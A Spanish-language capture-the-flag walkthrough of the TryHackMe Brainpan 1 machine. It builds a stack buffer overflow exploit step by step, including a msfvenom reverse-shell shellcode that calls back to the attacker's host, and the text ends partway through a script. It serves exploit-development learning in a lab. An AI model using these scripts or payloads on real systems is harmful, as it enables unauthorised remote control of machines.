xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



TryHackMe

Brainpan 1



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap, aunque realmente solo encontramos 2 puertos abiertos, el 9999 y el 10000

❯ nmap 10.10.27.47
Nmap scan report for 10.10.27.47
PORT      STATE    SERVICE
9999/tcp  open     abyss
10000/tcp open     snet-sensor-mgmt  

Al conectarnos con al puerto 9999 vemos programa que nos pide una contraseña

❯ netcat 10.10.27.47 9999
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]  
                          ENTER THE PASSWORD                              

                          >>

Si enviamos una contraseña incorrecta nos devuelve ACCESS DENIED y termina

[________________________ WELCOME TO BRAINPAN _________________________]  
                          ENTER THE PASSWORD                            

                          >> 1234
                          ACCESS DENIED

El puerto 10000 corre un servicio http, que en el index tiene solo una imagen que nos habla de vulnerabilidades comunes y tal, pero no nos aporta demasiado

Podemos usar wfuzz para aplicar fuerza bruta y encontramos un directorio /bin

❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.10.27.47:10000/FUZZ -t 100 --hc 404  
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.27.47:10000/FUZZ
Total requests: 4713

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000854:   301        0 L      0 W        0 Ch        "bin"

Si lo miramos desde el navegador podemos ver que tenemos capacidad de listar recursos, este directorio nos comparte un archivo llamado brainpan.exe

Como es un archivo exe podemos pasarlo a una máquina windows y ejecutarlo, al hacerlo solo nos dice que se pone en espera de conexiones por el puerto 9999

PS C:\Users\pc1\Desktop> .\brainpan.exe  
[+] initializing winsock...done.
[+] server socket created.
[+] bind done on port 9999
[+] waiting for connections.

Nos podemos conectar con netcat al puerto 9999 esta vez usando como direccion la ip de nuestra maquina windows y vemos la misma aplicación de antes

❯ netcat 192.168.100.5 9999
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]  
                          ENTER THE PASSWORD                              

                          >>

Ya que esta corriendo en la máquina victima analizemos el ejecutable con ida, donde vemos la función main donde vemos todo su pseudocódigo c

La función main inicia un socket en el puerto 9999 y mostrar el banner, despues le pasa el buffer a get_reply y segun la respuesta muestra un mensaje u otro

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *stack; // esp
  int winsock_error; // eax
  int socket_error; // eax
  int bind_error; // eax
  int len_banner; // eax
  int len_denied; // eax
  int len_granted; // eax
  int accept_error; // eax
  struct sockaddr addr; // [esp+30h] [ebp-5D8h] BYREF
  struct sockaddr name; // [esp+40h] [ebp-5C8h] BYREF
  SOCKET client_socket; // [esp+58h] [ebp-5B0h]
  SOCKET server_socket; // [esp+5Ch] [ebp-5ACh]
  struct WSAData WSAData; // [esp+60h] [ebp-5A8h] BYREF
  int reply; // [esp+1F8h] [ebp-410h]
  int port; // [esp+1FCh] [ebp-40Ch]
  int addrlen; // [esp+200h] [ebp-408h] BYREF
  char *granted_message; // [esp+204h] [ebp-404h]
  char *denied_message; // [esp+208h] [ebp-400h]
  char *banner; // [esp+20Ch] [ebp-3FCh]
  char buffer[1016]; // [esp+210h] [ebp-3F8h] BYREF

  stack = alloca(16);
  __main();
  banner = "_|                            _|                                        \n"
           "_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  \n"
           "_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|\n"
           "_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|\n"
           "_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|\n"
           "                                            _|                          \n"
           "                                            _|\n"
           "\n"
           "[________________________ WELCOME TO BRAINPAN _________________________]\n"
           "                          ENTER THE PASSWORD                              \n"  
           "\n"
           "                          >> ";
  denied_message = "                          ACCESS DENIED\n";
  granted_message = "                          ACCESS GRANTED\n";
  port = 9999;
  reply = 1;
  printf("[+] initializing winsock...");
  if ( WSAStartup(0x202u, &WSAData) )
  {
    winsock_error = WSAGetLastError();
    printf("[!] winsock init failed: %d", winsock_error);
  }
  else
  {
    printf("done.\n");
    server_socket = socket(2, 1, 0);
    if ( server_socket == -1 )
    {
      socket_error = WSAGetLastError();
      printf("[!] could not create socket: %d", socket_error);
    }
    printf("[+] server socket created.\n");
    name.sa_family = 2;
    *(_DWORD *)&name.sa_data[2] = 0;
    *(_WORD *)name.sa_data = htons(0x270Fu);
    if ( bind(server_socket, &name, 16) == -1 )
    {
      bind_error = WSAGetLastError();
      printf("[!] bind failed: %d", bind_error);
    }
    printf("[+] bind done on port %d\n", port);
    listen(server_socket, 3);
    printf("[+] waiting for connections.\n");
    addrlen = 16;
    while ( true )
    {
      client_socket = accept(server_socket, &addr, &addrlen);
      if ( client_socket == -1 )
        break;
      printf("[+] received connection.\n");
      memset(buffer, 0, 0x3E8u);
      len_banner = strlen(banner);
      send(client_socket, banner, len_banner, 0);
      recv(client_socket, buffer, 1000, 0);
      reply = get_reply(buffer);
      printf("[+] check is %d\n", reply);
      if ( get_reply(buffer) )
      {
        len_granted = strlen(granted_message);
        send(client_socket, denied_message, len_granted, 0);
      }
      else
      {
        len_denied = strlen(denied_message);
        send(client_socket, granted_message, len_denied, 0);
      }
      closesocket(client_socket);
    }
    accept_error = WSAGetLastError();
    printf("[!] accept failed: %d", accept_error);
  }
  return 1;
}

Esta función esta usando strcmp para comparar nuestro input ingresado con la cadena shitstorm, asi que parece que tenemos la contraseña en texto plano

int __cdecl get_reply(char *param_1)
{
  size_t len_password; // eax
  char password[520]; // [esp+10h] [ebp-208h] BYREF

  printf("[get_reply] s = [%s]\n", param_1);
  strcpy(password, param_1);
  len_password = strlen(password);
  printf("[get_reply] copied %d bytes to buffer\n", len_password);  
  return strcmp(password, "shitstorm\n");
}

Nos conectamos al puerto 9999 y enviamos la cadena shitstorm que encontramos, sin embargo aunque nos devuelve ACCESS GRANTED el programa termina ahi

❯ netcat 10.10.27.47 9999
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]  
                          ENTER THE PASSWORD                              

                          >> shitstorm
                          ACCESS GRANTED

El verdadero problema es que esta usando la función strcpy con un buffer definido que solo es de 520 bytes, por lo que puede ser vulnerable a Buffer Overflow

char password[520];
strcpy(password, param_1);  


Buffer Overflow - Stack Based


Para trabajar con los registros usaremos x32dbg con el plugin x64dbgpy y el modulo mona, asi que abrimos brainpan.exe y lo corremos, ademas de importar el modulo

from mona import mona

Necesitamos encontrar la cantidad de bytes necesarios antes de llegar a EIP creamos una cadena especial de 600 caracteres usando pattern_create

mona("pattern_create 600")

Esta vez como alternativa a socket podemos usar remote del modulo pwn, creamos una conexión y enviamos el patron generado antes con mona pattern_create

#!/usr/bin/python3
from pwn import remote

pattern = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9"  

shell = remote("192.168.100.5", 9999)

shell.sendline(pattern)
shell.close()

Corriendo ya el programa con ejecutamos el script para enviar la cadena de caracteres

❯ python3 exploit.py
[+] Opening connection to 192.168.100.5 on port 9999: Done  
[*] Closed connection to 192.168.100.5 port 9999

Volvemos al x32dbg y podemos ver que el programa se corrompe, el valor de EIP nos ayudara a saber los bytes necesarios antes de llegar a este registo

Al pasarle el valor de EIP a pattern_offset nos devuelve el offset, 524 caracteres son necesarios antes de sobreescribir el registro EIP en el programa

mona("pattern_offset 35724134")

Nuestro script para comprobar enviara 524 bytes de junk y 4 B que simulan el EIP

#!/usr/bin/python3
from pwn import remote

offset = 524
junk = b"A" * offset
eip = b"B" * 4

payload = junk + eip

shell = remote("192.168.100.5", 9999)  

shell.sendline(payload)
shell.close()

Corremos de nuevo el exe y al ejecutar el script podemos ver reflejadas las 4 B en el registro EIP significa que nuestro offset de 524 bytes es correcto

❯ python3 exploit.py
[+] Opening connection to 192.168.100.5 on port 9999: Done  
[*] Closed connection to 192.168.100.5 port 9999

Lo siguiente sera detectar badchars por lo que con mona crearemos una lista con todos los caracteres posibles, esto nos creara un archivo txt y un bin

mona("bytearray")

Modificaremos el script para que despues del EIP envie nuestros posibles badchars

#!/usr/bin/python3
from pwn import remote

offset = 524
junk = b"A" * offset
eip = b"B" * 4

badchars = b""
badchars += b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
badchars += b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
badchars += b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
badchars += b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
badchars += b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
badchars += b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
badchars += b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
badchars += b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"  

payload = junk + eip + badchars

shell = remote("192.168.100.5", 9999)

shell.sendline(payload)
shell.close()

Enviamos los caracteres y lo que nos interesa para comparar es la dirección del ESP

❯ python3 exploit.py
[+] Opening connection to 192.168.100.5 on port 9999: Done  
[*] Closed connection to 192.168.100.5 port 9999

Lo siguiente es con mona comparar el .bin que nos creo con la dirección del ESP actual, como resultado nos muestra que se corrompe despues de 1 byte quiere decir que el 00 esta corrompiendo el resto de caracteres que estan delante de el

mona("compare -f bytearray.bin -a ESP")

Creamos un nuevo bytearray esta vez quitando el \x00 que vimos es un badchar

mona("bytearray -cpb '\\x00'")

Modificamos el script ahora con el nuevo bytearray que no incluye el caracter \x00

#!/usr/bin/python3
from pwn import remote

offset = 524
junk = b"A" * offset
eip = b"B" * 4

badchars = b""
badchars += b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
badchars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
badchars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
badchars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
badchars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
badchars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
badchars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"  
badchars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"  

payload = junk + eip + badchars

shell = remote("192.168.100.5", 9999)

shell.sendline(payload)
shell.close()

Enviamos y al volver a hacer el mona compare podemos ver unmodified quiere decir que todos los caracteres enviados se procesaron correctamente en el programa

❯ python3 exploit.py
[+] Opening connection to 192.168.100.5 on port 9999: Done  
[*] Closed connection to 192.168.100.5 port 9999

Listando los modulos con mona encontramos que solo esta brainpan.exe sin nunguna proteccion, asi que podemos inyectar shellcode malicioso en la pila

mona("modules")

Para llegar a la pila donde enviaremos el shellcode para que se interprete necesitamos una dirección que ejecute la instrucción JMP ESP

mona("jmp -r esp -m brainpan.exe")

Iniciamos un script definiendo el junk y la direccion que ejecuta el JMP ESP

#!/usr/bin/python3
from pwn import remote, p32

offset = 524
junk = b"A" * offset

jmpesp = p32(0x311712f3)

Con msfvenom crearemos un shellcode que nos envie una shell a nuestro equipo

-p windows/shell_reverse_tcp    # Indica la plataforma y el payload  
LHOST=192.168.100.85            # Indica el host del atacante
LPORT=443                       # Indica el puerto del atacante
EXITFUNC=thread                 # Indica que se ejecutara en un hilo  
-b '\x00'                       # Indica todos los badchars
-f python                       # Indica el formato del shellcode
-v shellcode                    # Indica el nombre de la variable  

❯ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.100.85 LPORT=443 EXITFUNC=thread -b '\x00' -f python -v shellcode  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1965 bytes
shellcode =  b""
shellcode += b"\xda\xc2\xd9\x74\x24\xf4\x58\xbd\x91\x4d\xed"
shellcode += b"\x34\x33\xc9\xb1\x52\x83\xe8\xfc\x31\x68\x13"
shellcode += b"\x03\xf9\x5e\x0f\xc1\x05\x88\x4d\x2a\xf5\x49"
shellcode += b"\x32\xa2\x10\x78\x72\xd0\x51\x2b\x42\x92\x37"
shellcode += b"\xc0\x29\xf6\xa3\x53\x5f\xdf\xc4\xd4\xea\x39"
shellcode += b"\xeb\xe5\x47\x79\x6a\x66\x9a\xae\x4c\x57\x55"
shellcode += b"\xa3\x8d\x90\x88\x4e\xdf\x49\xc6\xfd\xcf\xfe"
shellcode += b"\x92\x3d\x64\x4c\x32\x46\x99\x05\x35\x67\x0c"
shellcode += b"\x1d\x6c\xa7\xaf\xf2\x04\xee\xb7\x17\x20\xb8"
shellcode += b"\x4c\xe3\xde\x3b\x84\x3d\x1e\x97\xe9\xf1\xed"
shellcode += b"\xe9\x2e\x35\x0e\x9c\x46\x45\xb3\xa7\x9d\x37"
shellcode += b"\x6f\x2d\x05\x9f\xe4\x95\xe1\x21\x28\x43\x62"
shellcode += b"\x2d\x85\x07\x2c\x32\x18\xcb\x47\x4e\x91\xea"
shellcode += b"\x87\xc6\xe1\xc8\x03\x82\xb2\x71\x12\x6e\x14"
shellcode += b"\x8d\x44\xd1\xc9\x2b\x0f\xfc\x1e\x46\x52\x69"
shellcode += b"\xd2\x6b\x6c\x69\x7c\xfb\x1f\x5b\x23\x57\xb7"
shellcode += b"\xd7\xac\x71\x40\x17\x87\xc6\xde\xe6\x28\x37"
shellcode += b"\xf7\x2c\x7c\x67\x6f\x84\xfd\xec\x6f\x29\x28"
shellcode += b"\xa2\x3f\x85\x83\x03\xef\x65\x74\xec\xe5\x69"
shellcode += b"\xab\x0c\x06\xa0\xc4\xa7\xfd\x23\x2b\x9f\x99"
shellcode += b"\xe6\xc3\xe2\x61\x08\xaf\x6a\x87\x60\xdf\x3a"
shellcode += b"\x10\x1d\x46\x67\xea\xbc\x87\xbd\x97\xff\x0c"
shellcode += b"\x32\x68\xb1\xe4\x3f\x7a\x26\x05\x0a\x20\xe1"
shellcode += b"\x1a\xa0\x4c\x6d\x88\x2f\x8c\xf8\xb1\xe7\xdb"
shellcode += b"\xad\x04\xfe\x89\x43\x3e\xa8\xaf\x99\xa6\x93"
shellcode += b"\x6b\x46\x1b\x1d\x72\x0b\x27\x39\x64\xd5\xa8"
shellcode += b"\x05\xd0\x89\xfe\xd3\x8e\x6f\xa9\x95\x78\x26"
shellcode += b"\x06\x7c\xec\xbf\x64\xbf\x6a\xc0\xa0\x49\x92"
shellcode += b"\x71\x1d\x0c\xad\xbe\xc9\x98\xd6\xa2\x69\x66"
shellcode += b"\x0d\x67\x99\x2d\x0f\xce\x32\xe8\xda\x52\x5f"
shellcode += b"\x0b\x31\x90\x66\x88\xb3\x69\x9d\x90\xb6\x6c"
shellcode += b"\xd9\x16\x2b\x1d\x72\xf3\x4b\xb2\x73\xd6"

Agregamos esto al script además de la conexión para enviar todo nuestro payload

#!/usr/bin/python3
from pwn import remote, p32

offset = 524
junk = b"A" * offset

jmpesp = p32(0x311712f3)

shellcode =  b""
shellcode += b"\xda\xc2\xd9\x74\x24\xf4\x58\xbd\x91\x4d\xed"
shellcode += b"\x34\x33\xc9\xb1\x52\x83\xe8\xfc\x31\x68\x13"
shellcode += b"\x03\xf9\x5e\x0f\xc1\x05\x88\x4d\x2a\xf5\x49"
shellcode += b"\x32\xa2\x10\x78\x72\xd0\x51\x2b\x42\x92\x37"
shellcode += b"\xc0\x29\xf6\xa3\x53\x5f\xdf\xc4\xd4\xea\x39"
shellcode += b"\xeb\xe5\x47\x79\x6a\x66\x9a\xae\x4c\x57\x55"
shellcode += b"\xa3\x8d\x90\x88\x4e\xdf\x49\xc6\xfd\xcf\xfe"
shellcode += b"\x92\x3d\x64\x4c\x32\x46\x99\x05\x35\x67\x0c"
shellcode += b"\x1d\x6c\xa7\xaf\xf2\x04\xee\xb7\x17\x20\xb8"
shellcode += b"\x4c\xe3\xde\x3b\x84\x3d\x1e\x97\xe9\xf1\xed"
shellcode += b"\xe9\x2e\x35\x0e\x9c\x46\x45\xb3\xa7\x9d\x37"
shellcode += b"\x6f\x2d\x05\x9f\xe4\x95\xe1\x21\x28\x43\x62"
shellcode += b"\x2d\x85\x07\x2c\x32\x18\xcb\x47\x4e\x91\xea"
shellcode += b"\x87\xc6\xe1\xc8\x03\x82\xb2\x71\x12\x6e\x14"
shellcode += b"\x8d\x44\xd1\xc9\x2b\x0f\xfc\x1e\x46\x52\x69"
shellcode += b"\xd2\x6b\x6c\x69\x7c\xfb\x1f\x5b\x23\x57\xb7"
shellcode += b"\xd7\xac\x71\x40\x17\x87\xc6\xde\xe6\x28\x37"
shellcode += b"\xf7\x2c\x7c\x67\x6f\x84\xfd\xec\x6f\x29\x28"
shellcode += b"\xa2\x3f\x85\x83\x03\xef\x65\x74\xec\xe5\x69"
shellcode += b"\xab\x0c\x06\xa0\xc4\xa7\xfd\x23\x2b\x9f\x99"
shellcode += b"\xe6\xc3\xe2\x61\x08\xaf\x6a\x87\x60\xdf\x3a"
shellcode += b"\x10\x1d\x46\x67\xea\xbc\x87\xbd\x97\xff\x0c"
shellcode += b"\x32\x68\xb1\xe4\x3f\x7a\x26\x05\x0a\x20\xe1"
shellcode += b"\x1a\xa0\x4c\x6d\x88\x2f\x8c\xf8\xb1\xe7\xdb"
shellcode += b"\xad\x04\xfe\x89\x43\x3e\xa8\xaf\x99\xa6\x93"
shellcode += b"\x6b\x46\x1b\x1d\x72\x0b\x27\x39\x64\xd5\xa8"
shellcode += b"\x05\xd0\x89\xfe\xd3\x8e\x6f\xa9\x95\x78\x26"
shellcode += b"\x06\x7c\xec\xbf\x64\xbf\x6a\xc0\xa0\x49\x92"
shellcode += b"\x71\x1d\x0c\xad\xbe\xc9\x98\xd6\xa2\x69\x66"
shellcode += b"\x0d\x67\x99\x2d\x0f\xce\x32\xe8\xda\x52\x5f"
shellcode += b"\x0b\x31\x90\x66\x88\xb3\x69\x9d\x90\xb6\x6c"  
shellcode += b"\xd9\x16\x2b\x1d\x72\xf3\x4b\xb2\x73\xd6"

payload = junk + jmpesp + shellcode

shell = remote("192.168.100.5", 9999)

shell.sendline(payload)
shell.close()

Nos ponemos en escucha con netcat y corremos el exe desde una shell normal

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443  

PS C:\Users\pc1\Desktop> .\brainpan.exe  
[+] initializing winsock...done.
[+] server socket created.
[+] bind done on port 9999
[+] waiting for connections.

Ejecutamos el exploit y el programa corrompe sin embargo no recibimos una shell

❯ python3 exploit.py
[+] Opening connection to 192.168.100.5 on port 9999: Done  
[*] Closed connection to 192.168.100.5 port 9999

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443  


Shellcode Analisis


Para no solo usar nops o desplazar la pila porque si, lo que haremos sera analizar las instrucciones de las primeras 2 lineas del shellcode creado con shikata_ga_nai

"\xda\xc2\xd9\x74\x24\xf4\x58\xbd\x91\x4d\xed"  
"\x34\x33\xc9\xb1\x52\x83\xe8\xfc\x31\x68\x13"  

Para verlo en ensamblador podemos usar el debugger, enviamos nuestra petición y haciendo un desensamblado al ESP podemos ver las instrucciones que ejecuta

Las primeras 2 lineas shellcode desensamblado ejecutan las siguientes instrucciones

DAC2             fcmovb st(0),st(2)
D97424 F4        fnstenv m28 ptr ss:[esp-C]
58               pop eax
BD 914DED34      mov ebp,34ED4D91
33C9             xor ecx,ecx
B1 52            mov cl,52
83E8 FC          sub eax,FFFFFFFC
3168 13          xor dword ptr ds:[eax+13],ebp

El problema es bastante evidente, fnstenv esta almacenando 28 bytes del estado de la FPU 12 bytes antes del ESP, pero las instrucciones del shellcode inician en el ESP por lo que al escribirlo los 16 bytes restantes de los 28 a escribir sobreescriben el shellcode, resumiendo podriamos decir que el shellcode se corrompe a si mismo

D97424 F4        fnstenv m28 ptr ss:[esp-C]

Volviendo al debugger podemos ver que despues de ejecutar el fnstenv sobreescribe varias de nuestras instrucciones por el estado del FPU, por lo que EIP queda en 0000 que al intentar ejecutar nos llevara a un claro ACCESS_VIOLATION

Hay varias soluciones la primera y la mas sencilla es enviar antes 16 nops o 0x90

#!/usr/bin/python3
from pwn import remote, p32, asm

offset = 524
junk = b"A" * offset
nops = asm("nop") * 16

jmpesp = p32(0x311712f3)

shellcode =  b""
shellcode += b"\xda\xc2\xd9\x74\x24\xf4\x58\xbd\x91\x4d\xed"
shellcode += b"\x34\x33\xc9\xb1\x52\x83\xe8\xfc\x31\x68\x13"
shellcode += b"\x03\xf9\x5e\x0f\xc1\x05\x88\x4d\x2a\xf5\x49"
shellcode += b"\x32\xa2\x10\x78\x72\xd0\x51\x2b\x42\x92\x37"
shellcode += b"\xc0\x29\xf6\xa3\x53\x5f\xdf\xc4\xd4\xea\x39"
shellcode += b"\xeb\xe5\x47\x79\x6a\x66\x9a\xae\x4c\x57\x55"
shellcode += b"\xa3\x8d\x90\x88\x4e\xdf\x49\xc6\xfd\xcf\xfe"
shellcode += b"\x92\x3d\x64\x4c\x32\x46\x99\x05\x35\x67\x0c"
shellcode += b"\x1d\x6c\xa7\xaf\xf2\x04\xee\xb7\x17\x20\xb8"
shellcode += b"\x4c\xe3\xde\x3b\x84\x3d\x1e\x97\xe9\xf1\xed"
shellcode += b"\xe9\x2e\x35\x0e\x9c\x46\x45\xb3\xa7\x9d\x37"
shellcode += b"\x6f\x2d\x05\x9f\xe4\x95\xe1\x21\x28\x43\x62"
shellcode += b"\x2d\x85\x07\x2c\x32\x18\xcb\x47\x4e\x91\xea"
shellcode += b"\x87\xc6\xe1\xc8\x03\x82\xb2\x71\x12\x6e\x14"
shellcode += b"\x8d\x44\xd1\xc9\x2b\x0f\xfc\x1e\x46\x52\x69"
shellcode += b"\xd2\x6b\x6c\x69\x7c\xfb\x1f\x5b\x23\x57\xb7"
shellcode += b"\xd7\xac\x71\x40\x17\x87\xc6\xde\xe6\x28\x37"
shellcode += b"\xf7\x2c\x7c\x67\x6f\x84\xfd\xec\x6f\x29\x28"
shellcode += b"\xa2\x3f\x85\x83\x03\xef\x65\x74\xec\xe5\x69"
shellcode += b"\xab\x0c\x06\xa0\xc4\xa7\xfd\x23\x2b\x9f\x99"
shellcode += b"\xe6\xc3\xe2\x61\x08\xaf\x6a\x87\x60\xdf\x3a"
shellcode += b"\x10\x1d\x46\x67\xea\xbc\x87\xbd\x97\xff\x0c"
shellcode += b"\x32\x68\xb1\xe4\x3f\x7a\x26\x05\x0a\x20\xe1"
shellcode += b"\x1a\xa0\x4c\x6d\x88\x2f\x8c\xf8\xb1\xe7\xdb"
shellcode += b"\xad\x04\xfe\x89\x43\x3e\xa8\xaf\x99\xa6\x93"
shellcode += b"\x6b\x46\x1b\x1d\x72\x0b\x27\x39\x64\xd5\xa8"
shellcode += b"\x05\xd0\x89\xfe\xd3\x8e\x6f\xa9\x95\x78\x26"
shellcode += b"\x06\x7c\xec\xbf\x64\xbf\x6a\xc0\xa0\x49\x92"
shellcode += b"\x71\x1d\x0c\xad\xbe\xc9\x98\xd6\xa2\x69\x66"
shellcode += b"\x0d\x67\x99\x2d\x0f\xce\x32\xe8\xda\x52\x5f"
shellcode += b"\x0b\x31\x90\x66\x88\xb3\x69\x9d\x90\xb6\x6c"  
shellcode += b"\xd9\x16\x2b\x1d\x72\xf3\x4b\xb2\x73\xd6"

payload = junk + jmpesp + nops + shellcode

shell = remote("192.168.100.5", 9999)

shell.sendline(payload)
shell.close()

Los nops no ejecutaran nada antes del shellcode pero al llegar a la instruccion de fnstenv y este sobreescriba 16 bytes despues del ESP sobreescribira los nops del inicio sin llegar a tocar el shellcode por lo que este no se corrompera como antes

Otra forma es usar un opcode que desplaze la pila 16 unidades que en hex es 0x10, el proposito es el mismo, hacer que el ESP este 16 bytes atras para cuando los sobreescriba en la instruccion fnstenv no llegue a sobreescribir shellcode

#!/usr/bin/python3
from pwn import remote, p32, asm

offset = 524
junk = b"A" * offset

opcode = asm("sub esp, 0x10")
jmpesp = p32(0x311712f3)

shellcode =  b""
shellcode += b"\xda\xc2\xd9\x74\x24\xf4\x58\xbd\x91\x4d\xed"
shellcode += b"\x34\x33\xc9\xb1\x52\x83\xe8\xfc\x31\x68\x13"
shellcode += b"\x03\xf9\x5e\x0f\xc1\x05\x88\x4d\x2a\xf5\x49"
shellcode += b"\x32\xa2\x10\x78\x72\xd0\x51\x2b\x42\x92\x37"
